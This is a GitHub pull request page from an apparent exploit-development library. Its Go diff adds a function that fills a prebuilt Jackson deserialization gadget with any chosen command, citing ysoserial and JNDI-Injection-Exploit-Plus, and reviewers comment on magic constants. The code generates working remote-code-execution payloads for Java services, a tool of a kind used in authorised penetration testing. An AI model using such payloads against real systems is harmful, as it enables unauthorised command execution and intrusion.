-
Notifications
You must be signed in to change notification settings - Fork 42
Add Jackson gadget chain with JNDI/LDAP support #464
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
|
@@ -431,7 +431,7 @@ func Commons10CommandBytecode(commandStr string) (string, error) { | |||||||||||||
| // | ||||||||||||||
| // Generated by ysoserial using the "C3P0" gadget chain with placeholder arguments "<base_url>" and "<classname>". | ||||||||||||||
| func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) { | ||||||||||||||
| // 16-bit unsigned integer | ||||||||||||||
| // 16-bit (short) unsigned integer (big-endian) | ||||||||||||||
| if len(baseURL) < 1 || len(baseURL) > 65535 { | ||||||||||||||
| return "", ErrorInvalidCallbackArg("baseURL must be between 1 and 65535 characters") | ||||||||||||||
| } else if len(className) < 1 || len(className) > 65535 { | ||||||||||||||
|
|
@@ -451,6 +451,30 @@ func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) { | |||||||||||||
| return gadget, nil | ||||||||||||||
| } | ||||||||||||||
|
|
||||||||||||||
| // https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/blob/f9e097041b08d48289c3dae004996caa28718184/src/main/java/payloads/Jackson.java | ||||||||||||||
| func JacksonGenericCommand(cmd string) (string, error) { | ||||||||||||||
| // 16-bit (short) unsigned integer (big-endian) | ||||||||||||||
| if len(cmd) < 1 || len(cmd) > 65535 { | ||||||||||||||
| return "", ErrorInvalidCommandLength("cmd must be between 1 and 65535 characters") | ||||||||||||||
| } | ||||||||||||||
|
|
||||||||||||||
| // $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -D Jackson -C "touch /tmp/vulnerable" | ||||||||||||||
| gadgetBytes, err := gadgets.ReadFile(filepath.Join("gadgets", "Jackson.bin")) | ||||||||||||||
| if err != nil { | ||||||||||||||
| return "", fmt.Errorf("failed to read gadget: %w", err) | ||||||||||||||
| } | ||||||||||||||
|
|
||||||||||||||
| gadget := string(gadgetBytes) | ||||||||||||||
| gadget = strings.ReplaceAll(gadget, "\x00\x15touch /tmp/vulnerable", transform.PackBigInt16(len(cmd))+cmd) | ||||||||||||||
|
||||||||||||||
| gadget = strings.ReplaceAll(gadget, "\x00\x15touch /tmp/vulnerable", transform.PackBigInt16(len(cmd))+cmd) | |
| gadget = strings.ReplaceAll(gadget, "\x00\x15touch /tmp/vulnerable", transform.PackBigInt16(len(cmd))+cmd) | |
| // The Jackson.bin gadget contains a hardcoded command string "touch /tmp/vulnerable" (21 bytes). | |
| // arraySizeWithCommand (1620) is the size of the serialized array including the original command. | |
| // arraySizeWithoutCommand (1599) is the size with the command removed; we add len(cmd) to get the new size. | |
| // The 21-byte difference corresponds to the length of "touch /tmp/vulnerable" being replaced. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
lol nice
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
gross
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The hardcoded placeholder
\x00\x15touch /tmp/vulnerableembeds a magic value without explanation. Consider extracting this as a named constant with documentation explaining it represents the 16-bit length prefix (0x0015 = 21 bytes) followed by the original command from the gadget binary.